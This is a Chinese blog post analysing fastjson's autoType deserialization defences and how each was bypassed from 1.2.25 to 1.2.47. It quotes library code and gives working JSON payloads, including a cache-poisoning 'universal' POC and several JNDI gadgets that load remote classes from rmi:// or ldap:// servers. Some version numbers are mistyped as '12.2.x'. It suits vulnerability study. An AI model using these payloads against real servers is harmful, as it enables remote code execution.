fastjson/fastjson反序列化的防御和绕过

概述

FastJson的防御是通过白名单+黑名单的机制,由于白名单的限制,对漏洞绕过带来了一定的挑战。本文梳理了fastjson历史上反序列化漏洞的利用原理,以及他们对应的防御和绕过。

12.2.25版本修复

在<=12.2.24之后,fastjson在12.2.25版本加入了checkAutoType方法,该方法通过以下方式进行类的过滤:

  1. 默认开启AutoTypeSupport,只允许白名单中的类通过;
  2. 定义黑名单,不允许黑名单中的类通过。

代码的修改部分在com.alibaba.fastjson.parser.DefaultJSONParser:parseObject中,对比看一下12.2.2412.2.25的区别:

12.2.24版本:

1
2
3
4
5
......
clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
......

12.2.25版本:

1
2
3
4
5
......
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
......

可见在12.2.25中会先对类进行检查,然后才进入反序列化,我们看看checkAutoType的实现,下面给出关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//com.alibaba.fastjson.parser.Parseronfig:checkAutoType
......
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
//遍历白名单进行检查,只允许加载白名单中的class
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
//遍历黑名单,匹配到之后就报错
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
......
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
......
没有匹配到黑白名单的进入这里进行类加载
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
......

可以看到fastjson通过白名单+黑名单的方式进行匹配,这里加入了一个autoTypeSupport变量来参与黑白名单的匹配,注意看上面的黑白名单匹配有两个流程:

  1. autoTypeSupport为默认的false的时候,进入下面那个if流程,在这个流程中,首先匹配黑名单,匹配到了就报错,然后匹配白名单,没匹配到就报错,说明这里会强制要求clazz在黑名单之外且在白名单之内。
  2. autoTypeSupport为true的时候,会进入上面那个if流程,首先匹配白名单,匹配到了就进行加载,没匹配到就进入黑名单匹配,如果在黑名单之内的话就报错。

总结:当autoTypeSupport为默认的false的时候会强制要求在白名单内和黑名单外;当autoTypeSupport为true的时候,只要求在黑名单外。

所以这里幸运的看到fastjson还是留了一手,服务端可以通过以下代码手动关闭白名单:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

白名单是通过手动关闭的,所以绕过仍然存在非常大的限制,后续的几个绕过都是在白名单被手动关闭的前提下才可以利用成功。

我们再看一下黑名单中的内容,包含了com.sun.彻底封死了jdk原生类:

image

当我们用之前的POC运行到这里的时候会匹配到黑名单并抛出错误。

image

1.2.25-1.2.41绕过

上面的checkAutoType乍一看好像没什么问题,但是这里存在一个逻辑缺陷,即不在黑名单也不在白名单中的类将被加载,也就是进入下面的代码,这里是一个突破口。

1
2
3
4
5
//com.alibaba.fastjson.parser.Parseronfig:checkAutoType
没有匹配到黑白名单的进入这里进行类加载
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

我们重点看一看TypeUtils.loadClass,看最后一个if判断,L开头以及;结尾的class将被去除头尾部分进行加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//L开头以及;结尾的class将被去除头尾部分进行加载
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
}

所以,当我们传入的类名为Lcom.sun.rowset.JdbcRowSetImpl;的时候,由于该类名不满足黑名单条件startsWith(黑名单),所以会走到上面那个if判断,然后判读条件被取掉首尾,后面的流程和<=12.2.24相同,实现RCE。

所以POC是:

1
2
3
4
5
{
'@type': 'Lcom.sun.rowset.JdbcRowSetImpl;',
'dataSourceName': 'rmi://localhost:1099/Exploit',
'autoCommit': 'true'
}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:742, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1240, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
testJdbcRowSetImpl:17, OtherPOC (com.l1nk3r.fastjson)
main:9, OtherPOC (com.l1nk3r.fastjson)

1.2.42修复

这次修复比较简单粗暴,在com.alibaba.fastjson.parser.ParserConfig:checkAutoType中会先判断类名,如果是L开头,;结尾,删去开头结尾,但只进行了一次删除,所以当我们在类名前后设置两个L和;的时候即可绕过。

1
2
3
4
5
6
7
8
9
10
//com.alibaba.fastjson.parser.ParserConfig:checkAutoType
//判断类名并删除首尾的L和;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

1.2.42绕过

经过上文的阅读应该十分理解这里的绕过原理了,所以直接给POC,调用栈是相同的:

1
2
3
4
5
{
'@type': 'LLcom.sun.rowset.JdbcRowSetImpl;;',
'dataSourceName': 'rmi://localhost:1099/Exploit',
'autoCommit': 'true'
}

1.2.43修复

本次修复也是很简单暴力的,不过也是有效的,这次在上一次修复的地方加了一个抛出异常的动作,当类名开头匹配到LL就会报错,如果是一个L;则会删除收尾。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//com.alibaba.fastjson.parser.ParserConfig:checkAutoType
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
//增加了if判断,包含两个L的时候则会抛出异常
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

1.2.43绕过

绕过1:

本次绕过的地方其实之前就有看到过,在TypeUtils.loadClass中,我们之前关注的是下面那个if,上线那个if判断若类名以[开头,则会直接加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//L开头以及;结尾的class将被去除头尾部分进行加载
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
}

所以POC是,不过实际验证无法成功:

1
2
3
4
5
{
'@type': '[com.sun.rowset.JdbcRowSetImpl',
'dataSourceName': 'rmi://localhost:1099/Exploit',
'autoCommit': 'true'
}

绕过2:

使用新的类进行绕过,类名为org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,同样是实现一个RMI,进行远程类的加载,POC是:

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://localhost:1099/Exploit"
}
}

原理和过程和12.2.24是一样的,这里不再重复了。

1.2.45修复

补充黑名单

1.2.45绕过-通杀POC

前面说到的绕过方式都是基于手动配置关闭白名单的前提下绕过黑名单,而这次漏洞直接导致黑白名单不生效,可以说影响比之前那些大太多了,先看POC,再讲原理。

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}

可以看到这里用的仍然是JdbcRowSetImpl不过它和它的参数们被放到了不同的地方,我们来看看这个payload是如果起作用的。

一开始反序列化的是java.lang.Class这个类,调试跟进可以看到是从checkAutoType这一段代码中获取到的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

这个deserializers在一开始会对其中放入许多常用的类

1
2
3
private void initDeserializers() {
... // 太多了,就不贴了
}

然后在紧跟的代码中就直接返回了,还没到原本autoTypeSupport的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过java.lang.Class获取到了com.sun.rowset.JdbcRowSetImpl类,然后重点来了。

在loadClass中,可以看到假如cache为true,就会把获取到的类缓存到mapping中(应该是为了提高效率)

1
2
3
4
5
6
7
8
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}

然而这个cache在传入的时候默认就是true

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

于是,触发到第二段payload的时候,在checkAutoType函数中,就直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;

然后也是一样在还没有判断黑名单和com.sun.rowset.JdbcRowSetImpl的验证之前就return了。

1.2.47修复

将之前的loadClass中默认cache设置成了false。

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}

所以在第一次获取到com.sun.rowset.JdbcRowSetImpl这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和com.sun.rowset.JdbcRowSetImpl的验证中了。

1.2.47绕过

新的gadget,原理和之前的相同,下面直接给出gadget和poc:

  1. org.apache.shiro.jndi.JndiObjectFactory

    1
    {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/Calc"}
  2. br.com.anteros.dbcp.AnterosDBCPConfig

    1
    {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:1389/Calc"}
  3. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

    1
    {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://127.0.0.1:1389/Calc"}
  4. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

    1
    2
    3
    4
    5
    6
    {
    "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties":{
    "@type":"java.util.Properties","UserTransaction":"ldap://127.0.0.1:1389/Calc"
    }
    }

1.2.6修复

参考

  1. https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
  2. http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
  3. https://www.cnblogs.com/mrchang/p/6789060.html